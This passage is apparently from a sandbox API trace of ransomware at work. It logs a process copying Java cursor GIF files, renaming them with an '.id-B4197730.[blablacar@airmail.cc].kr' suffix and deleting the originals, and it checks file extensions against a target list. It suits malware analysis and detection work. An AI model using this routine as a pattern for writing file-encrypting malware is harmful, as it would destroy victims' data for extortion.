dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0095.205] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=153) returned 1 [0095.205] CloseHandle (hObject=0x34c) returned 1 [0095.205] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif")) returned 0x20 [0095.205] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0095.205] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0095.205] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0095.205] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0095.205] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0095.206] GetLastError () returned 0x0 [0095.206] ReadFile (in: hFile=0x34c, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x99, lpOverlapped=0x0) returned 1 [0095.207] WriteFile (in: hFile=0x35c, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0xa0, lpOverlapped=0x0) returned 1 [0095.208] ReadFile (in: hFile=0x34c, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1 [0095.208] WriteFile (in: hFile=0x35c, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0x106, lpOverlapped=0x0) returned 1 [0095.208] SetEndOfFile (hFile=0x35c) returned 1 [0095.208] CloseHandle (hObject=0x35c) returned 1 [0095.209] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0095.209] SetEndOfFile (hFile=0x34c) returned 1 [0095.210] CloseHandle (hObject=0x34c) returned 1 [0095.210] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0095.210] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif")) returned 1 [0095.210] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0095.211] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0095.211] lstrlenW (lpString=".doc") returned 4 [0095.211] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0095.211] lstrlenW (lpString=".docx") returned 5 [0095.211] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0095.211] lstrlenW (lpString=".pdf") returned 4 [0095.211] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0095.211] lstrlenW (lpString=".xls") returned 4 [0095.211] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0095.211] lstrlenW (lpString=".xlsx") returned 5 [0095.211] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0095.211] lstrlenW (lpString=".ppt") returned 4 [0095.211] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0095.211] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0095.211] lstrlenW (lpString=".zip") returned 4 [0095.211] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0095.211] lstrlenW (lpString=".rar") returned 4 [0095.211] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0095.211] lstrlenW (lpString=".bz2") returned 4 [0095.211] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0095.211] lstrlenW (lpString=".7z") returned 3 [0095.211] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0095.211] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0095.211] lstrlenW (lpString=".dbf") returned 4 [0095.211] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0095.211] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0095.211] lstrlenW (lpString=".1cd") returned 4 [0095.211] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0095.211] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0095.211] lstrlenW (lpString=".jpg") returned 4 [0095.211] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0095.211] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0095.212] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0095.212] lstrlenW (lpString=".doc") returned 4 [0095.212] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0095.212] lstrlenW (lpString=".docx") returned 5 [0095.212] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0095.212] lstrlenW (lpString=".pdf") returned 4 [0095.212] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0095.212] lstrlenW (lpString=".xls") returned 4 [0095.212] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0095.212] lstrlenW (lpString=".xlsx") returned 5 [0095.212] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0095.212] lstrlenW (lpString=".ppt") returned 4 [0095.212] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0095.212] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0095.212] lstrlenW (lpString=".zip") returned 4 [0095.212] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0095.212] lstrlenW (lpString=".rar") returned 4 [0095.212] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0095.212] lstrlenW (lpString=".bz2") returned 4 [0095.212] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0095.212] lstrlenW (lpString=".7z") returned 3 [0095.212] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0095.212] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0095.212] lstrlenW (lpString=".dbf") returned 4 [0095.212] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0095.212] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0095.212] lstrlenW (lpString=".1cd") returned 4 [0095.212] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0095.212] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0095.212] lstrlenW (lpString=".jpg") returned 4 [0095.212] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0095.213] lstrcmpiW (lpString1=".gif", lpString2=".kr") returned -1 [0095.213] lstrlenW (lpString="win32_MoveDrop32x32.gif") returned 23 [0095.213] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0095.214] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=147) returned 1 [0095.214] CloseHandle (hObject=0x34c) returned 1 [0095.214] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif")) returned 0x20 [0095.214] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0095.214] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0095.214] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0095.214] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0095.215] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0095.215] GetLastError () returned 0x0 [0095.215] ReadFile (in: hFile=0x34c, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x93, lpOverlapped=0x0) returned 1 [0095.216] WriteFile (in: hFile=0x35c, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0xa0, lpOverlapped=0x0) returned 1 [0095.217] ReadFile (in: hFile=0x34c, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1 [0095.217] WriteFile (in: hFile=0x35c, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0x102, lpOverlapped=0x0) returned 1 [0095.217] SetEndOfFile (hFile=0x35c) returned 1 [0095.217] CloseHandle (hObject=0x35c) returned 1 [0095.218] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0095.218] SetEndOfFile (hFile=0x34c) returned 1 [0095.219] CloseHandle (hObject=0x34c) returned 1 [0095.219] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0095.219] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif")) returned 1 [0095.220] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0095.220] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0095.220] lstrlenW (lpString=".doc") returned 4 [0095.220] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0095.220] lstrlenW (lpString=".docx") returned 5 [0095.220] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0095.220] lstrlenW (lpString=".pdf") returned 4 [0095.220] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0095.220] lstrlenW (lpString=".xls") returned 4 [0095.220] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0095.220] lstrlenW (lpString=".xlsx") returned 5 [0095.220] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0095.220] lstrlenW (lpString=".ppt") returned 4 [0095.220] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0095.220] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0095.220] lstrlenW (lpString=".zip") returned 4 [0095.220] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0095.220] lstrlenW (lpString=".rar") returned 4 [0095.220] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0095.220] lstrlenW (lpString=".bz2") returned 4 [0095.220] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0095.220] lstrlenW (lpString=".7z") returned 3 [0095.220] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0095.220] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0095.220] lstrlenW (lpString=".dbf") returned 4 [0095.220] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0095.220] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0095.221] lstrlenW (lpString=".1cd") returned 4 [0095.221] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0095.221] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0095.221] lstrlenW (lpString=".jpg") returned 4 [0095.221] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0095.221] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0095.221] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0095.221] lstrlenW (lpString=".doc") returned 4 [0095.221] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0095.221] lstrlenW (lpString=".docx") returned 5 [0095.221] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0095.221] lstrlenW (lpString=".pdf") returned 4 [0095.221] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0095.221] lstrlenW (lpString=".xls") returned 4 [0095.221] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0095.221] lstrlenW (lpString=".xlsx") returned 5 [0095.221] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0095.221] lstrlenW (lpString=".ppt") returned 4 [0095.221] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0095.221] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0095.221] lstrlenW (lpString=".zip") returned 4 [0095.221] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0095.221] lstrlenW (lpString=".rar") returned 4 [0095.221] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0095.221] lstrlenW (lpString=".bz2") returned 4 [0095.221] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0095.221] lstrlenW (lpString=".7z") returned 3 [0095.221] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0095.221] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0095.222] lstrlenW (lpString=".dbf") returned 4 [0095.222] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0095.222] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0095.222] lstrlenW (lpString=".1cd") returned 4 [0095.222] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0095.222] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0095.222] lstrlenW (lpString=".jpg") returned 4 [0095.222] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0095.222] lstrcmpiW (lpString1=".gif", lpString2=".kr") returned -1 [0095.222] lstrlenW (lpString="win32_MoveNoDrop32x32.gif") returned 25 [0095.222] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0095.222] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=153) returned 1 [0095.222] CloseHandle (hObject=0x34c) returned 1 [0095.222] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif")) returned 0x20 [0095.222] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0095.222] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0095.223] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0095.223] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0095.223] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0095.223] GetLastError () returned 0x0 [0095.223] ReadFile (in: hFile=0x34c, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x99, lpOverlapped=0x0) returned 1 [0095.224] WriteFile (in: hFile=0x35c, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0xa0, lpOverlapped=0x0) returned 1 [0095.225] ReadFile (in: hFile=0x34c, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1 [0095.225] WriteFile (in: hFile=0x35c, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0x106, lpOverlapped=0x0) returned 1 [0095.225] SetEndOfFile (hFile=0x35c) returned 1 [0095.225] CloseHandle (hObject=0x35c) returned 1 [0095.226] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0095.226] SetEndOfFile (hFile=0x34c) returned 1 [0095.227] CloseHandle (hObject=0x34c) returned 1 [0095.227] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0095.228] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif")) returned 1 [0095.228] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0095.228] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0095.228] lstrlenW (lpString=".doc") returned 4 [0095.228] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0095.228] lstrlenW (lpString=".docx") returned 5 [0095.228] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0095.228] lstrlenW (lpString=".pdf") returned 4 [0095.228] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0095.228] lstrlenW (lpString=".xls") returned 4 [0095.228] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0095.228] lstrlenW (lpString=".xlsx") returned 5 [0095.228] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0095.228] lstrlenW (lpString=".ppt") returned 4 [0095.228] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0095.228] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0095.228] lstrlenW (lpString=".zip") returned 4 [0095.228] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0095.228] lstrlenW (lpString=".rar") returned 4 [0095.228] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0095.228] lstrlenW (lpString=".bz2") returned 4 [0095.228] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0095.229] lstrlenW (lpString=".7z") returned 3 [0095.229] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0095.229] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0095.229] lstrlenW (lpString=".dbf") returned 4 [0095.229] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0095.229] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0095.229] lstrlenW (lpString=".1cd") returned 4 [0095.229] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0095.229] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0095.229] lstrlenW (lpString=".jpg") returned 4 [0095.229] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0095.229] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0095.229] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0095.229] lstrlenW (lpString=".doc") returned 4 [0095.229] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0095.229] lstrlenW (lpString=".docx") returned 5 [0095.229] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0095.229] lstrlenW (lpString=".pdf") returned 4 [0095.229] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0095.229] lstrlenW (lpString=".xls") returned 4 [0095.229] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0095.229] lstrlenW (lpString=".xlsx") returned 5 [0095.229] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0095.229] lstrlenW (lpString=".ppt") returned 4 [0095.229] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0095.229] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0095.229] lstrlenW (lpString=".zip") returned 4 [0095.229] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0095.229] lstrlenW (lpString=".rar") returned 4 [0095.229] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0095.230] lstrlenW (lpString=".bz2") returned 4 [0095.230] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0095.230] lstrlenW (lpString=".7z") returned 3 [0095.230] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0095.230] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0095.230] lstrlenW (lpString=".dbf") returned 4 [0095.230] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0095.230] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0095.230] lstrlenW (lpString=".1cd") returned 4 [0095.230] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0095.230] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0095.230] lstrlenW (lpString=".jpg") returned 4 [0095.230] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0095.230] lstrcmpiW (lpString1=".txt", lpString2=".kr") returned 1 [0095.230] lstrlenW 